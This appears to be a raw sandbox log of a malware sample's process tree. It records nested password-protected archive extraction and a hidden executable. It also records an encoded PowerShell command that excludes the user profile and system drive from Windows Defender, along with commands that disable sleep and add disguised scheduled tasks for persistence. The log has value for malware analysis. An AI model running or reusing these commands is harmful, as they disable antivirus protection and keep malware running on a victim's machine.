mode.com mode 65,10
22647z.exe 7z.exe e file.zip -p13961188841761813015484523849 -oextracted
23087z.exe 7z.exe e extracted/file_5.zip -oextracted
23567z.exe 7z.exe e extracted/file_4.zip -oextracted
24047z.exe 7z.exe e extracted/file_3.zip -oextracted
24527z.exe 7z.exe e extracted/file_2.zip -oextracted
25007z.exe 7z.exe e extracted/file_1.zip -oextracted
2556attrib.exe attrib +H "4343.exe"
2604cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAGgAdQBwAE8AMwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFcAMgBmADkAMgAxACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAFMAYgA2AFoAaAB1AGIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAeQA3AFYAIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
2856powershell.exe powershell -EncodedCommand "PAAjAGgAdQBwAE8AMwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFcAMgBmADkAMgAxACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAFMAYgA2AFoAaAB1AGIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAeQA3AFYAIwA+AA=="
2912powercfg.exe powercfg /x -hibernate-timeout-ac 0
652powercfg.exe powercfg /x -hibernate-timeout-dc 0
2104powercfg.exe powercfg /x -standby-timeout-ac 0
2276powercfg.exe powercfg /x -standby-timeout-dc 0
2360powercfg.exe powercfg /hibernate off
2520cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
2680schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
2960cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3555" /TR "C:\ProgramData\Dllhost\dllhost.exe"
2872schtasks.exe SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3555" /TR "C:\ProgramData\Dllhost\dllhost.exe"
3024